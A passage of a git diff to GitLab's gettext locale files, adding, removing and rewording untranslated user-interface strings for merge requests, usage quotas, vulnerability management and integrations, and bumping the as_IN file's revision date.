@@ -35905,6 +36532,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -36040,9 +36670,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -36085,6 +36712,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -36184,7 +36814,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -36736,6 +37366,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -36760,6 +37393,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36865,10 +37501,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36889,9 +37525,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36952,6 +37585,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -37126,7 +37762,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -37183,6 +37819,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -37381,9 +38023,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -37489,6 +38128,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -37573,9 +38215,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -37684,6 +38323,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -37726,6 +38368,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -37735,9 +38380,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -37750,9 +38392,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -37807,12 +38446,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -37822,9 +38455,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -37837,9 +38476,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37873,18 +38509,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37930,9 +38554,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -38125,9 +38746,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -38431,9 +39049,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -38659,6 +39274,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -38683,6 +39310,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -38788,6 +39418,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38902,6 +39535,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38914,9 +39550,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38932,6 +39565,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38941,7 +39577,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38953,6 +39592,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38977,9 +39619,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38992,10 +39640,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -39169,7 +39817,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -39475,6 +40123,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -39487,7 +40138,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -39664,6 +40315,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -39673,7 +40330,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -39787,6 +40444,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -40060,13 +40720,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr ""
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -40102,6 +40759,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -40132,12 +40792,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -40189,6 +40855,15 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -40237,6 +40912,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -40372,9 +41050,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -40459,7 +41134,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -40525,6 +41200,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -40717,6 +41398,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -40735,15 +41419,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -40753,6 +41431,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -40822,9 +41503,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40924,6 +41602,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40957,9 +41638,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -41134,6 +41812,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -41143,6 +41824,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -41170,6 +41854,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -41206,6 +41893,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -41596,21 +42286,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -41767,9 +42445,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -41803,13 +42478,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -41821,6 +42496,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -41839,9 +42517,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -41884,9 +42559,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41923,6 +42595,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41932,12 +42607,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41977,21 +42658,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -42004,6 +42700,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -42043,9 +42748,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -42076,9 +42778,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -42094,39 +42793,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -42295,6 +42985,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -42487,9 +43189,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -42514,6 +43213,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/as_IN/gitlab.po b/locale/as_IN/gitlab.po
index 1a1bf0ff4a9..b167d8d54dc 100644
--- a/locale/as_IN/gitlab.po
+++ b/locale/as_IN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: as\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:42\n"
+"PO-Revision-Date: 2021-12-06 19:00\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
